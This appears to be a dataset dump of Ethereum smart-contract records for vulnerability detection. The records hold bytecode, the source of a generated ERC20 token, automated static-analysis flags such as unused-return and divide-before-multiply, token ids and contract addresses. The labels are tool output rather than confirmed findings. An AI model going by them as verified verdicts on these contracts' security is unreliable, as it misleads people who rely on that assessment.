0000000000000000000600052602160045260246000fd5b145b8015613c985750814210155b9695505050505050565b80341015612dd5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4e65656420746f2073656e64206d6f7265204554482e000000000000000000006044820152606401610b57565b600073ffffffffffffffffffffffffffffffffffffffff84163b15613eda576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063150b7a0290613d83903390899088908890600401614fdb565b602060405180830381600087803b158015613d9d57600080fd5b505af1925050508015613deb575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252613de891810190614c5a565b60015b613e8f573d808015613e19576040519150601f19603f3d011682016040523d82523d6000602084013e613e1e565b606091505b508051613e87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f7472616e7366657220746f206e6f6e20455243373231526563656976657200006044820152606401610b57565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050613403565b506001613403565b6060600c8054610a6790615161565b606081613f32575060408051808201909152600181527f30000000000000000000000000000000000000000000000000000000000000006020820152610a53565b8160005b8115613f5c5780613f46816151b5565b9150613f559050600a836150cd565b9150613f36565b60008167ffffffffffffffff811115613f9e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015613fc8576020820181803683370190505b5090505b841561340357613fdd60018361511e565b9150613fea600a866151ee565b613ff59060306150b5565b60f81b818381518110614031577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061406b600a866150cd565b9450613fcc565b600073ffffffffffffffffffffffffffffffffffffffff82166140f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d696e74656420717565727920666f72203020616464726573730000000000006044820152606401610b57565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205468010000000000000000900467ffffffffffffffff1690565b610cec8383836001614161565b600080600061414c858561444a565b91509150614159816144ba565b509392505050565b60015473ffffffffffffffffffffffffffffffffffffffff85166141e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6d696e7420746f20746865207a65726f206164647265737300000000000000006044820152606401610b57565b83614248576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f7175616e74697479206d757374206265203e207468616e2030000000000000006044820152606401610b57565b73ffffffffffffffffffffffffffffffffffffffff8516600081815260066020908152604080832080547fffffffffffffffffffffffffffffffff0000000000000000ffffffffffffffff7fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000821667ffffffffffffffff9283168c01831617908116680100000000000000009182900483168c018316909102179091558584526005909252822080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169093177fffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000042909216919091021790915581905b8581101561442f57604051829073ffffffffffffffffffffffffffffffffffffffff8916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48315614423576143bd6000888488613d0c565b614423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f7472616e7366657220746f206e6f6e20455243373231526563656976657200006044820152606401610b57565b6001918201910161435d565b506fffffffffffffffffffffffffffffffff1660015561222e565b6000808251604114156144815760208301516040840151606085015160001a614475878285856147d8565b945094505050506144b3565b8251604014156144ab57602083015160408401516144a08683836148f0565b9350935050506144b3565b506000905060025b9250929050565b60008160048111156144f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b141561450057612dd5565b600181600481111561453b577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b14156145a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610b57565b60028160048111156145de577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415614646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610b57565b6003816004811115614681577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b141561470f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610b57565b600481600481111561474a577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415612dd5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610b57565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561480f57506000905060036148e7565b8460ff16601b1415801561482757508460ff16601c14155b1561483857506000905060046148e7565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561488c573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166148e0576000600192509250506148e7565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83168161492660ff86901c601b6150b5565b9050614934878288856147d8565b935093505050935093915050565b82805461494e90615161565b90600052602060002090601f01602090048101928261497057600085556149d4565b82601f106149a7578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008235161785556149d4565b828001600101855582156149d4579182015b828111156149d45782358255916020019190600101906149b9565b506149e09291506149e4565b5090565b5b808211156149e057600081556001016149e5565b803573ffffffffffffffffffffffffffffffffffffffff81168114610a5357600080fd5b600082601f830112614a2d578081fd5b813567ffffffffffffffff80821115614a4857614a48615260565b604051601f83017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908282118183101715614a8e57614a8e615260565b81604052838152866020858801011115614aa6578485fd5b8360208701602083013792830160200193909352509392505050565b803563ffffffff81168114610a5357600080fd5b803567ffffffffffffffff81168114610a5357600080fd5b600060208284031215614aff578081fd5b6114f5826149f9565b60008060408385031215614b1a578081fd5b614b23836149f9565b9150614b31602084016149f9565b90509250929050565b600080600060608486031215614b4e578081fd5b614b57846149f9565b9250614b65602085016149f9565b9150604084013590509250925092565b60008060008060808587031215614b8a578081fd5b614b93856149f9565b9350614ba1602086016149f9565b925060408501359150606085013567ffffffffffffffff811115614bc3578182fd5b614bcf87828801614a1d565b91505092959194509250565b60008060408385031215614bed578182fd5b614bf6836149f9565b915060208301358015158114614c0a578182fd5b809150509250929050565b60008060408385031215614c27578182fd5b614c30836149f9565b946020939093013593505050565b600060208284031215614c4f578081fd5b81356114f58161528f565b600060208284031215614c6b578081fd5b81516114f58161528f565b60008060208385031215614c88578182fd5b823567ffffffffffffffff80821115614c9f578384fd5b818501915085601f830112614cb2578384fd5b813581811115614cc0578485fd5b866020828501011115614cd1578485fd5b60209290920196919550909350505050565b600060208284031215614cf4578081fd5b813567ffffffffffffffff811115614d0a578182fd5b61340384828501614a1d565b60008060408385031215614d28578182fd5b823567ffffffffffffffff80821115614d3f578384fd5b614d4b86838701614a1d565b93506020850135915080821115614d60578283fd5b50614d6d85828601614a1d565b9150509250929050565b600060208284031215614d88578081fd5b5035919050565b600080600060608486031215614da3578081fd5b83359250602084013567ffffffffffffffff80821115614dc1578283fd5b614dcd87838801614a1d565b93506040860135915080821115614de2578283fd5b50614def86828701614a1d565b9150509250925092565b600080600080600080600080610100898b031215614e15578586fd5b88359750602089013561ffff81168114614e2d578687fd5b9650614e3b60408a01614ac2565b9550614e4960608a01614ac2565b9450614e5760808a01614ac2565b9350614e6560a08a01614ad6565b9250614e7360c08a01614ad6565b915060e089013560038110614e86578182fd5b809150509295985092959890939650565b600080600080600060a08688031215614eae578283fd5b614eb786614ad6565b9450614ec560208701614ad6565b9350614ed360408701614ac2565b9250614ee160608701614ac2565b9150614eef60808701614ac2565b90509295509295909350565b60008151808452614f13816020860160208601615135565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60007fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008460601b1682528251614f82816014850160208701615135565b919091016014019392505050565b60008251614fa2818460208701615135565b9190910192915050565b60008351614fbe818460208801615135565b835190830190614fd2818360208801615135565b01949350505050565b600073ffffffffffffffffffffffffffffffffffffffff808716835280861660208401525083604083015260806060830152613c986080830184614efb565b6000602082526114f56020830184614efb565b61ffff8816815263ffffffff878116602083015286811660408301528516606082015267ffffffffffffffff8481166080830152831660a082015260e08101600383106150a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b8260c083015298975050505050505050565b600082198211156150c8576150c8615202565b500190565b6000826150dc576150dc615231565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561511957615119615202565b500290565b60008282101561513057615130615202565b500390565b60005b83811015615150578181015183820152602001615138565b8381111561264c5750506000910152565b60028104600182168061517557607f821691505b602082108114156151af577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156151e7576151e7615202565b5060010190565b6000826151fd576151fd615231565b500690565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7fffffffff0000000000000000000000000000000000000000000000000000000081168114612dd557600080fdfea2646970667358221220a2b89b51e7d92cad51a6d4a721a1750b419fca75be703aa99f1b31ee725e185764736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 11387, 29292, 26976, 2620, 2063, 27531, 2063, 21926, 2497, 2094, 2620, 11387, 2475, 6305, 2546, 2475, 11329, 2620, 15878, 2475, 2278, 2620, 4402, 7959, 27531, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 29025, 19150, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 14925, 5104, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,656
0x9720dC2d0775BF69cBD89Df12b06700Ae03acaE6
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 11387, 16409, 2475, 2094, 2692, 2581, 23352, 29292, 2575, 2683, 27421, 2094, 2620, 2683, 20952, 12521, 2497, 2692, 2575, 19841, 2692, 6679, 2692, 2509, 19629, 2063, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,657
0x97216642f1ca64e62fa1923248b0870065851838
